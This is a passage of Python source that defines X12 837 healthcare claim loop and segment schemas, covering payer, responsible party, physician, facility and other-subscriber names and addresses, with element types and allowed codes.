Properties(desc=u'Name First', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'N', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=8, codes=[u'PI', u'XV'] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'R', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'N3', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'025',desc=u'Payer Address'), Element( u'N301', Properties(desc=u'Address Information', req_sit=u'R', data_type=(u'AN',u'1',u'55'), position=1, codes=[] ) ), Element( u'N302', Properties(desc=u'Address Information', req_sit=u'S', data_type=(u'AN',u'1',u'55'), position=2, codes=[] ) ), ), Segment( u'N4', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'030',desc=u'Payer City/State/ZIP Code'), Element( u'N401', Properties(desc=u'City Name', req_sit=u'R', data_type=(u'AN',u'2',u'30'), position=1, codes=[] ) ), Element( u'N402', Properties(desc=u'State or Province Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=2, codes=[] ) ), Element( u'N403', Properties(desc=u'Postal Code', req_sit=u'R', data_type=(u'ID',u'3',u'15'), position=3, codes=[] ) ), Element( u'N404', Properties(desc=u'Country Code', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=4, codes=[] ) ), Element( u'N405', Properties(desc=u'Location Qualifier', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=5, codes=[] ) ), Element( u'N406', Properties(desc=u'Location Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'3',pos=u'035',desc=u'Payer Secondary Identification'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'2U', u'FY', u'NF', u'TJ'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2010BD = Loop( u'2010BD', Properties(looptype='',repeat=u'1',pos=u'015',req_sit=u'S',desc=u'Responsible Party Name'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'015',desc=u'Responsible Party Name'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'QD'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'1', u'2'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'R', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'S', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'S', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=8, codes=[] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'N', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'N3', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'025',desc=u'Responsible Party Address'), Element( u'N301', Properties(desc=u'Address Information', req_sit=u'R', data_type=(u'AN',u'1',u'55'), position=1, codes=[] ) ), Element( u'N302', Properties(desc=u'Address Information', req_sit=u'S', data_type=(u'AN',u'1',u'55'), position=2, codes=[] ) ), ), Segment( u'N4', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'030',desc=u'Responsible Party City/State/ZIP Code'), Element( u'N401', Properties(desc=u'City Name', req_sit=u'R', data_type=(u'AN',u'2',u'30'), position=1, codes=[] ) ), Element( u'N402', Properties(desc=u'State or Province Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=2, codes=[] ) ), Element( u'N403', Properties(desc=u'Postal Code', req_sit=u'R', data_type=(u'ID',u'3',u'15'), position=3, codes=[] ) ), Element( u'N404', Properties(desc=u'Country Code', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=4, codes=[] ) ), Element( u'N405', Properties(desc=u'Location Qualifier', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=5, codes=[] ) ), Element( u'N406', Properties(desc=u'Location Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), ) parsed_837_2305 = Loop( u'2305', Properties(looptype='',repeat=u'6',pos=u'242',req_sit=u'S',desc=u'Home Health Care Plan Information'), Segment( u'CR7', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'242',desc=u'Home Health Care Plan Information'), Element( u'CR701', Properties(desc=u'Discipline Type Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=1, codes=[u'AI', u'MS', u'OT', u'PT', u'SN', u'ST'] ) ), Element( u'CR702', Properties(desc=u'Number', req_sit=u'R', data_type=(u'N0',u'1',u'9'), position=2, codes=[] ) ), Element( u'CR703', Properties(desc=u'Number', req_sit=u'R', data_type=(u'N0',u'1',u'9'), position=3, codes=[] ) ), ), Segment( u'HSD', Properties(syntax='',req_sit=u'S',repeat=u'12',pos=u'243',desc=u'Health Care Services Delivery'), Element( u'HSD01', Properties(desc=u'Quantity Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'2'), position=1, codes=[u'VS'] ) ), Element( u'HSD02', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=2, codes=[] ) ), Element( u'HSD03', Properties(desc=u'Unit or Basis for Measurement Code', req_sit=u'S', data_type=(u'ID',u'2',u'2'), position=3, codes=[u'DA', u'MO', u'Q1', u'WK'] ) ), Element( u'HSD04', Properties(desc=u'Sample Selection Modulus', req_sit=u'S', data_type=(u'R',u'1',u'6'), position=4, codes=[] ) ), Element( u'HSD05', Properties(desc=u'Time Period Qualifier', req_sit=u'S', data_type=(u'ID',u'1',u'2'), position=5, codes=[u'7', u'35'] ) ), Element( u'HSD06', Properties(desc=u'Number of Periods', req_sit=u'S', data_type=(u'N0',u'1',u'3'), position=6, codes=[] ) ), Element( u'HSD07', Properties(desc=u'Ship/Delivery or Calendar Pattern Code', req_sit=u'S', data_type=(u'ID',u'1',u'2'), position=7, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'A', u'B', u'C', u'D', u'E', u'F', u'G', u'H', u'J', u'K', u'L', u'N', u'O', u'S', u'SA', u'SB', u'SC', u'SD', u'SG', u'SL', u'SP', u'SX', u'SY', u'SZ', u'W'] ) ), Element( u'HSD08', Properties(desc=u'Ship/Delivery Pattern Time Code', req_sit=u'S', data_type=(u'ID',u'1',u'1'), position=8, codes=[u'D', u'E', u'F'] ) ), ), ) parsed_837_2310A = Loop( u'2310A', Properties(looptype='',repeat=u'1',pos=u'250',req_sit=u'S',desc=u'Attending Physician Name'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'250',desc=u'Attending Physician Name'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'71'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'1', u'2'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'R', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'S', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'S', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=8, codes=[u'24', u'34', u'XX'] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'R', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'PRV', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'255',desc=u'Attending Physician Specialty Information'), Element( u'PRV01', Properties(desc=u'Provider Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'AT', u'SU'] ) ), Element( u'PRV02', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'ZZ'] ) ), Element( u'PRV03', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=3, codes=[] ) ), Element( u'PRV04', Properties(desc=u'State or Province Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=4, codes=[] ) ), Composite( u'C035', Properties(req_sit=u'N',refdes='',seq=u'05',desc=u'Provider Specialty Information'), ), Element( u'PRV06', Properties(desc=u'Provider Organization Code', req_sit=u'N', data_type=(u'ID',u'3',u'3'), position=6, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'5',pos=u'271',desc=u'Attending Physician Secondary Identification'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'0B', u'1A', u'1B', u'1C', u'1D', u'1G', u'1H', u'EI', u'G2', u'LU', u'N5', u'SY', u'X5'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2310B = Loop( u'2310B', Properties(looptype='',repeat=u'1',pos=u'250',req_sit=u'S',desc=u'Operating Physician Name'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'250',desc=u'Operating Physician Name'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'72'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'1'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'R', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'S', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'S', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=8, codes=[u'24', u'34', u'XX'] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'R', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'PRV', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'255',desc=u'Operating Physician Specialty Information'), Element( u'PRV01', Properties(desc=u'Provider Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'OP'] ) ), Element( u'PRV02', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'ZZ'] ) ), Element( u'PRV03', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=3, codes=[] ) ), Element( u'PRV04', Properties(desc=u'State or Province Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=4, codes=[] ) ), Composite( u'C035', Properties(req_sit=u'N',refdes='',seq=u'05',desc=u'Provider Specialty Information'), ), Element( u'PRV06', Properties(desc=u'Provider Organization Code', req_sit=u'N', data_type=(u'ID',u'3',u'3'), position=6, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'5',pos=u'271',desc=u'Operating Physician Secondary Identification'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'0B', u'1A', u'1B', u'1C', u'1D', u'1G', u'1H', u'EI', u'G2', u'LU', u'N5', u'SY', u'X5'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2310C = Loop( u'2310C', Properties(looptype='',repeat=u'1',pos=u'250',req_sit=u'S',desc=u'Other Provider Name'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'250',desc=u'Other Provider Name'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'73'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'1', u'2'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'R', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'S', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'S', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=8, codes=[u'24', u'34', u'XX'] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'R', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'PRV', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'255',desc=u'Other Provider Specialty Information'), Element( u'PRV01', Properties(desc=u'Provider Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'OT', u'PE'] ) ), Element( u'PRV02', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'ZZ'] ) ), Element( u'PRV03', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=3, codes=[] ) ), Element( u'PRV04', Properties(desc=u'State or Province Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=4, codes=[] ) ), Composite( u'C035', Properties(req_sit=u'N',refdes='',seq=u'05',desc=u'Provider Specialty Information'), ), Element( u'PRV06', Properties(desc=u'Provider Organization Code', req_sit=u'N', data_type=(u'ID',u'3',u'3'), position=6, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'5',pos=u'271',desc=u'Other Provider Secondary Identification'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'0B', u'1A', u'1B', u'1C', u'1D', u'1G', u'1H', u'EI', u'G2', u'LU', u'N5', u'SY', u'X5'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2310E = Loop( u'2310E', Properties(looptype='',repeat=u'1',pos=u'250',req_sit=u'S',desc=u'Service Facility Name'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'250',desc=u'Service Facility Name'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'FA'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'2'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'R', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'N', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'S', data_type=(u'ID',u'1',u'2'), position=8, codes=[u'24', u'34', u'XX'] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'S', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'PRV', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'255',desc=u'Service Facility Specialty Information'), Element( u'PRV01', Properties(desc=u'Provider Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'RP'] ) ), Element( u'PRV02', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'ZZ'] ) ), Element( u'PRV03', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=3, codes=[] ) ), Element( u'PRV04', Properties(desc=u'State or Province Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=4, codes=[] ) ), Composite( u'C035', Properties(req_sit=u'N',refdes='',seq=u'05',desc=u'Provider Specialty Information'), ), Element( u'PRV06', Properties(desc=u'Provider Organization Code', req_sit=u'N', data_type=(u'ID',u'3',u'3'), position=6, codes=[] ) ), ), Segment( u'N3', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'265',desc=u'Service Facility Address'), Element( u'N301', Properties(desc=u'Address Information', req_sit=u'R', data_type=(u'AN',u'1',u'55'), position=1, codes=[] ) ), Element( u'N302', Properties(desc=u'Address Information', req_sit=u'S', data_type=(u'AN',u'1',u'55'), position=2, codes=[] ) ), ), Segment( u'N4', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'270',desc=u'Service Facility City/State/Zip Code'), Element( u'N401', Properties(desc=u'City Name', req_sit=u'R', data_type=(u'AN',u'2',u'30'), position=1, codes=[] ) ), Element( u'N402', Properties(desc=u'State or Province Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=2, codes=[] ) ), Element( u'N403', Properties(desc=u'Postal Code', req_sit=u'R', data_type=(u'ID',u'3',u'15'), position=3, codes=[] ) ), Element( u'N404', Properties(desc=u'Country Code', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=4, codes=[] ) ), Element( u'N405', Properties(desc=u'Location Qualifier', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=5, codes=[] ) ), Element( u'N406', Properties(desc=u'Location Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'5',pos=u'271',desc=u'Service Facility Secondary Identification'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'0B', u'1A', u'1B', u'1C', u'1D', u'1G', u'1H', u'1J', u'EI', u'FH', u'G2', u'G5', u'LU', u'N5', u'X5'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2330A = Loop( u'2330A', Properties(looptype='',repeat=u'1',pos=u'325',req_sit=u'R',desc=u'Other Subscriber Name'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'325',desc=u'Other Subscriber Name'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'IL'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'1', u'2'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'R', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'S', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'S', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=8, codes=[u'MI', u'ZZ'] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'R', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'N3', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'332',desc=u'Other Subscriber Address'), Element( u'N301', Properties(desc=u'Address Information', req_sit=u'R', data_type=(u'AN',u'1',u'55'), position=1, codes=[] ) ), Element( u'N302', Properties(desc=u'Address Information', req_sit=u'S', data_type=(u'AN',u'1',u'55'), position=2, codes=[] ) ), ), Segment( u'N4', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'340',desc=u'Other Subscriber City/State/ZIP Code'), Element( u'N401', Properties(desc=u'City Name', req_sit=u'R', data_type=(u'AN',u'2',u'30'), position=1, codes=[] ) ), Element( u'N402', Properties(desc=u'State or Province Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=2, codes=[] ) ), Element( u'N403', Properties(desc=u'Postal Code', req_sit=u'R', data_type=(u'ID',u'3',u'15'), position=3, codes=[] ) ), Element( u'N404', Properties(desc=u'Country Code', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=4, codes=[] ) ), Element( u'N405', Properties(desc=u'Location Qualifier', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=5, codes=[] ) ), Element( u'N406', Properties(desc=u'Location Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'3',pos=u'355',desc=u'Other Subscriber Secondary Information'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'1W', u'23', u'IG', u'SY'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2330B = Loop( u'2330B', Properties(looptype='',repeat=u'1',pos=u'325',req_sit=u'R',desc=u'Other Payer Name'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'325',desc=u'Other Payer Name'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'PR'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'2'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'R', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'N', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=8, codes=[u'PI', u'XV'] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'R', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'N3', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'332',desc=u'Other Payer Address'), Element( u'N301', Properties(desc=u'Address Information', req_sit=u'R', data_type=(u'AN',u'1',u'55'), position=1, codes=[] ) ), Element( u'N302', Properties(desc=u'Address Information', req_sit=u'S', data_type=(u'AN',u'1',u'55'), position=2, codes=[] ) ), ), Segment( u'N4', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'340',desc=u'Other Payer City/State/ZIP Code'), Element( u'N401', Properties(desc=u'City Name', req_sit=u'R', data_type=(u'AN',u'2',u'30'), position=1, codes=[] ) ), Element( u'N402', Properties(desc=u'State or Province Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=2, codes=[] ) ), Element( u'N403', Properties(desc=u'Postal Code', req_sit=u'R', 